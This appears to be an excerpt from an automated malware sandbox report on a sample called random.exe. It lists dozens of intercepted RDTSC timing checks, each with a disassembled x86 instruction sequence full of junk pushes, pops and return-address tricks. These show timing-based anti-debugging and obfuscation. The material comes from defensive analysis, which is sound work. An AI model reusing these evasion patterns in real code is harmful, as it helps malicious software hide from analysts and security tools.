Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A233E second address: 10A234D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jc 00007FC1BCECC576h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A2742 second address: 10A2746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A2746 second address: 10A274A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A274A second address: 10A2752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A2886 second address: 10A28B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC1BCECC578h 0x00000008 push esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FC1BCECC57Fh 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007FC1BCECC57Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A28B9 second address: 10A28BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A28BD second address: 10A28C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A28C1 second address: 10A28C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A28C7 second address: 10A28CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A28CD second address: 10A28D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1073D59 second address: 1073D60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A2FF1 second address: 10A2FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A2FF5 second address: 10A2FFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A3178 second address: 10A318B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC1BC5023ACh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A32F0 second address: 10A32F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A6C75 second address: 10A6C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FC1BC5023A6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jo 00007FC1BC5023B2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10A6C8C second address: 10A6C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 107A996 second address: 107A9A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FC1BC5023A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 107A9A2 second address: 107A9D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC1BCECC57Bh 0x00000008 jmp 00007FC1BCECC57Dh 0x0000000d jmp 00007FC1BCECC57Fh 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AA232 second address: 10AA238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AA37C second address: 10AA380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AA380 second address: 10AA386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AE94A second address: 10AE979 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FC1BCECC57Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jmp 00007FC1BCECC57Fh 0x00000015 pop edi 0x00000016 pushad 0x00000017 jl 00007FC1BCECC576h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AE979 second address: 10AE98B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023ABh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AEB19 second address: 10AEB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AEE20 second address: 10AEE3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023B9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AF427 second address: 10AF42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AF42B second address: 10AF435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10AF435 second address: 10AF439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2C37 second address: 10B2C6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC1BC5023ABh 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC1BC5023ADh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2C6A second address: 10B2C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B2C70 second address: 10B2C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B3111 second address: 10B311F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B311F second address: 10B3125 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B3125 second address: 10B312B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B312B second address: 10B312F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B3534 second address: 10B3538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B36A2 second address: 10B36A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B3B78 second address: 10B3B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B3B7C second address: 10B3B80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B4A95 second address: 10B4A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B4965 second address: 10B496B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B6642 second address: 10B665D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BCECC587h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B878F second address: 10B8793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10B9079 second address: 10B907E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10BE60B second address: 10BE611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C14F5 second address: 10C14F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C079F second address: 10C07A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C07A6 second address: 10C081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FC1BCECC578h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov di, F83Dh 0x00000028 push dword ptr fs:[00000000h] 0x0000002f pushad 0x00000030 mov dword ptr [ebp+122D1AFDh], edi 0x00000036 popad 0x00000037 or edi, 5FF57C35h 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 je 00007FC1BCECC57Bh 0x0000004a xor bx, 0C14h 0x0000004f mov eax, dword ptr [ebp+122D0501h] 0x00000055 sbb ebx, 42968ADAh 0x0000005b xor di, A7E3h 0x00000060 push FFFFFFFFh 0x00000062 push eax 0x00000063 xor dword ptr [ebp+122D307Dh], ebx 0x00000069 pop edi 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C15F4 second address: 10C15FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C081A second address: 10C0820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C15FA second address: 10C160D instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C2550 second address: 10C255A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC1BCECC576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C0820 second address: 10C0825 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C336A second address: 10C33CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC1BCECC587h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007FC1BCECC578h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+122D28C5h] 0x0000002e push 00000000h 0x00000030 cmc 0x00000031 push 00000000h 0x00000033 jnp 00007FC1BCECC57Ch 0x00000039 mov ebx, dword ptr [ebp+122D27E4h] 0x0000003f push eax 0x00000040 js 00007FC1BCECC588h 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C33CE second address: 10C33D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C42F6 second address: 10C4305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC57Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C3583 second address: 10C3589 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C51BB second address: 10C51D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC1BCECC587h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C44B4 second address: 10C44B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C51D8 second address: 10C51F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC583h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C44B8 second address: 10C452F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 sub di, B9B4h 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FC1BC5023A8h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e mov dword ptr fs:[00000000h], esp 0x00000035 mov edi, edx 0x00000037 mov eax, dword ptr [ebp+122D0811h] 0x0000003d mov ebx, 5BFCD730h 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push eax 0x00000047 call 00007FC1BC5023A8h 0x0000004c pop eax 0x0000004d mov dword ptr [esp+04h], eax 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc eax 0x0000005a push eax 0x0000005b ret 0x0000005c pop eax 0x0000005d ret 0x0000005e push eax 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C51F6 second address: 10C51FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C452F second address: 10C4533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C51FA second address: 10C5203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C5203 second address: 10C5249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FC1BC5023A8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 call 00007FC1BC5023B0h 0x00000028 pop edi 0x00000029 push 00000000h 0x0000002b mov di, 4C9Dh 0x0000002f push eax 0x00000030 push ebx 0x00000031 push esi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C7429 second address: 10C742D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C83B2 second address: 10C83B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C83B9 second address: 10C842E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC584h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007FC1BCECC597h 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D1BF9h], edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FC1BCECC578h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov bh, E3h 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D273Dh], edx 0x0000003d push eax 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push edi 0x00000042 pop edi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C53B1 second address: 10C53B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C53B5 second address: 10C545A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jl 00007FC1BCECC576h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FC1BCECC578h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e stc 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 add dword ptr [ebp+122D1ABAh], edx 0x0000003c mov eax, dword ptr [ebp+122D0231h] 0x00000042 and ebx, dword ptr [ebp+122D3862h] 0x00000048 push FFFFFFFFh 0x0000004a push 00000000h 0x0000004c push eax 0x0000004d call 00007FC1BCECC578h 0x00000052 pop eax 0x00000053 mov dword ptr [esp+04h], eax 0x00000057 add dword ptr [esp+04h], 0000001Bh 0x0000005f inc eax 0x00000060 push eax 0x00000061 ret 0x00000062 pop eax 0x00000063 ret 0x00000064 jnl 00007FC1BCECC57Ch 0x0000006a mov dword ptr [ebp+122D3410h], ebx 0x00000070 jmp 00007FC1BCECC583h 0x00000075 push eax 0x00000076 jng 00007FC1BCECC584h 0x0000007c push eax 0x0000007d push edx 0x0000007e push esi 0x0000007f pop esi 0x00000080 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C9458 second address: 10C94D6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC1BC5023A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC1BC5023AEh 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 jc 00007FC1BC5023B0h 0x00000018 jmp 00007FC1BC5023AAh 0x0000001d pop ecx 0x0000001e nop 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007FC1BC5023A8h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 or bh, 0000003Dh 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007FC1BC5023A8h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 0000001Bh 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a clc 0x0000005b xchg eax, esi 0x0000005c push edx 0x0000005d push esi 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C94D6 second address: 10C94E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C94E2 second address: 10C94E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CA3A2 second address: 10CA3C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jp 00007FC1BCECC576h 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10C9621 second address: 10C9628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CA3C0 second address: 10CA3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 jmp 00007FC1BCECC583h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 sub dword ptr [ebp+122D1C07h], ebx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jg 00007FC1BCECC57Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CA550 second address: 10CA555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CB5C9 second address: 10CB5CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CC4F1 second address: 10CC50A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FC1BC5023B1h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CA555 second address: 10CA55B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CB5CE second address: 10CB65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023B9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, edx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 call 00007FC1BC5023B3h 0x0000001d jmp 00007FC1BC5023ACh 0x00000022 pop ebx 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007FC1BC5023A8h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 mov ebx, 2676C248h 0x00000049 mov edi, 37166845h 0x0000004e mov eax, dword ptr [ebp+122D0825h] 0x00000054 mov edi, dword ptr [ebp+122D1AA8h] 0x0000005a push FFFFFFFFh 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10CA55B second address: 10CA55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
